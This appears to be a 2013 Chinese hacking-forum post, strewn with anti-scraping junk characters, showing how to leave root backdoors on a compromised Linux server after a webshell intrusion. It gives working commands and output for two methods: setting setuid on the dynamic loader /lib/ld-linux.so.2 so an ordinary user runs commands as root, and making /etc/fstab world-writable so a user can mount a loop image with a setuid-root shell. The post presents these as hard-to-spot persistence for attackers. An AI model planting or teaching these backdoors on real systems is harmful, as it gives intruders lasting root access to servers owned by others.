找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2780|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究
2 O5 s% N, O+ A& H5 v5 @
' z5 i# U4 F1 B[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究, D. f" N0 p. P3 O# X5 C0 n; H
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
, }0 t4 L2 z# b5 m. t0 G( Ylrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究+ _5 h/ {/ O/ i0 f/ P
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究) a" v3 c3 v8 k
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
) \& B2 i: i& q* O& @-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究6 b, H3 w' S8 w, ?4 D1 i7 x
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究* x" [  P9 Z' N' H
[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究
# u. V, l2 m6 `2 q6 u  e我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究
$ n; ?6 {& i+ L& a
) p7 [5 o- n7 V4 [( ]& I2 j普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究; F; g' j( @9 f* v# c2 Y4 i/ ^1 |

: c* B: ]! G6 c, G' T& B. |[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究
* f/ Q( Y" u8 \0 Q2 Uxiaoyu2ezX-BUG-关注前沿信息安全技术研究4 F+ F& c  e7 S
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究* N( A# [; e9 ^) L
root2ezX-BUG-关注前沿信息安全技术研究) n* [+ e  e0 C: a& G" G$ V( d" g
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究
8 r" b, n) G2 Z- N! j恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究( q" q2 g2 f3 y; J$ P

, @0 t2 {: c* _4 c4 j方法二:2ezX-BUG-关注前沿信息安全技术研究
! w% c' p3 A- `# `' G5 u' Q9 H
/ j2 S& j, B; e/ m看过程:2ezX-BUG-关注前沿信息安全技术研究
2 s7 p) c$ J$ ^( W$ J$ `  t8 a8 O) c; K" C) ?
[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究/ O* E1 R4 b7 @4 Q
[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究% S: O  K0 ^. U2 o" J

  p" i2 s& R1 |8 L( u这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究7 P3 c9 g7 ~+ E

+ z2 y1 ^/ q& L8 U[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究3 K- Q2 M4 n  c9 L
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
' V' W2 z+ i* b[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
4 d! D' s, q% f: A
' }8 f# F2 a9 U; g9 r9 Y然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
5 N* h1 f+ @% q1 {) @
, p' c' W/ O1 @5 w7 F[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究
8 F- C0 @. O* _8 \-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究
* s: H2 u) k7 K; {; z0 F1 Z' ][xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究
- E7 {! y0 m4 O3 H9 M9 h/ k  p. D[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究+ B4 G$ J: p7 j8 T
[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究
3 R$ p  I4 V+ C' ntotal 182ezX-BUG-关注前沿信息安全技术研究/ {3 D; M2 }9 G2 \
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究
$ r6 L3 b8 D. Y* M; t-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究
5 r1 b  v: {) ~7 W0 R& z[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究3 E9 j% G) m/ m# k0 f- `! ]
sh-3.2#2ezX-BUG-关注前沿信息安全技术研究
- ]+ ]  y5 G7 n3 r( j( H. s9 C+ A' ^, Z; u看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究: T1 j7 S8 D5 M4 u3 X
test这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究$ c6 s# }  O) A- u4 R
' Y& g7 t- v7 L& o  z2 o8 m
貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究  r6 P7 H1 f& ~* E9 n. [! M
2ezX-BUG-关注前沿信息安全技术研究8 k$ ~: y% M. W8 ?/ o& D% P- N

0 C! C4 S8 V; s- c$ o0 d
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表